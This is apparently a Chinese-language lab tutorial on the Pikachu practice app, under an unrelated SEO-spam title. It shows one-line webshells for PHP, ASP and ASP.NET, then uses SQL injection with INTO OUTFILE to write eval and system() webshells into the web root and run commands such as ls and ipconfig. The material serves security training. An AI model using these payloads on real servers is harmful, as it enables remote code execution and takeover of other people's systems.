动态网站做登录界面旺道seo推广系统怎么收费
目录
- Sql-Inject漏洞手动测试-os远程控制
- 一句话木马
- 通过SQL Inject漏洞写入恶意代码
通过sql漏洞对操作系统进行远程控制
Sql-Inject漏洞手动测试-os远程控制
一句话木马
如何通过into outfile写入恶意代码并控制OS
一句话木马
一句话木马是一种短小而精悍的木马客户端,实际上,说简单点,就是利用我们各种语言用来执行代码的函数或者执行操作系统的函数,然后通过他来构造一个简单的木马程序,也就是说,我们可以把这个函数直接写到函数里面去,然后通过文件的访问,执行这个函数,然后向这个函数传入我们想要的参数,因为这个函数本身就是用来执行代码或者执行操作系统命令的,那我们传进去的内容,就会被做为远程控制去操作,去执行,从而实现对服务器端的控制,这个一句话在互联网上,有很多的变种,大家可以到互联网上搜一下,有很多写法,当然不同的语言,写法会不一样,其思路大同小异,大家可以自己搜一下,这里就不展开讲了
PHP:<?php @eval($_POST['chopper']);?>
ASP:<%eval request("chopper")%>
ASP.NET:<%@ Page Language="Jscript"%><%ecal(Request.Item["chopper"],"unsafe");%>
通过SQL Inject漏洞写入恶意代码
select 1,2 into outfile "/var/www/html/1.txt"
into outfile 将select的结果写入到指定目录的1.txt中
在一些没有回显的注入中可以使用into outfile将结果写入到指定文件,然后访问获取
前提条件:
1.需要知道远程目录,作为测试者,我们默认是不知道后端网站的目录结构,所以我们要远程的知道目录的结构,才能准确的写我们对应的文件,否则即使我们写上去了,写到其它文件,你又不知道路径在那里,实际上,我们也访问不到它
2.需要远程目录有写权限
因为默认情况下,很多网站是默认,没有写的权限的,如果没有给我们写的权限,我们当然,没有办法往里面写东西
3.需要数据库开启secure_file_priv
这个选项,是mysql版本新的特性,默认情况下,这个选项是关闭的,值是null,其实我们的into outfile是没法往里面写东西的
因为我们是在做测试,所以我们在后端,把这些选项都打开,
show global variables like '%secure%';
我们看到secure_file_priv是null,我们需要把它改为on,才可以进行into outfile的操作,我们可以通过mysql的配置文件,my.ini,把secure_file_priv为on,给加进去,重启数据库服务,这个地方就会变为空,这是它数据库的一个操作
secure_file_priv = ''
还有就是我们的www/pikachu/一定要有写的权限,这个权限,我们这边是改好了,相当于是我们在这边自己创造好了这个环境
我们在pikachu上以字符型注入点做为一个目标,
获取操作系统权限:
kobe' union select "<?php @eval($_GET['test'])?>",2 into outfile "/phpStudy/www/pikachu/1.php"#
into outfile可以把select指定结果,写到文件里面去,我们把对应的payload去执行一下
点提交,我们前端其实是看不到特殊反馈的,然后我们可以来看一下服务端的配置,我们看一下服务端,这个配置有没有被写进去
这其实就是我们select出来的内容,被写入到里面去,我们只要确保php语法是正确的,就能够被正确执行了,我们去访问一下它
http://192.168.42.236/pikachu/1.php?test=phpinfo();
他是通过get请求去获取它的参数,我们把我们要的远程代码的内容传进去,phpinfo传进去,就会赋值给test执行,最终就会被eval执行,实现一个远程代码执行的效果
可以看到,它已经执行了phpinfo,那就意味着,我们可以通过这个链接,执行任意的php代码,这样就实现了通过sql注入漏洞,来实现一个远程代码执行的效果
我们在来看一下远程的命令执行,也就是操作系统命令,其实思路是一样的
kobe' union select "<?php system($_GET['cmd'])?>",2 into outfile "/phpStudy/www/pikachu/2.php"#
我们可以把一句话改成system,system是php下面,用来执行操作系统下面的函数,同样的,我们可以通过get去往里面传参,传进去的参数,都会做为system命令去执行,然后同样的,我们把它写到2.php里面去
提交完之后,我们直接去访问,
http://192.168.42.236/pikachu/2.php?cmd=ls;
我们可以执行一下ipconfig,
http://192.168.42.236/pikachu/2.php?cmd=ipconfig;
它会把ip地址,对应的网卡地址显示出来,这样子就通过sql注入漏洞实现了远程命令执行的效果,我们就可以通过这个接口,远程的去控制这台服务器,这个时候,我们可以根据一句话木马,配套的工具,比如菜刀,这样的一些远控工具,方便的控制整台服务器,这样就是通过sql注入漏洞,去实现对远程服务器的控制,远程代码执行,远程命令执行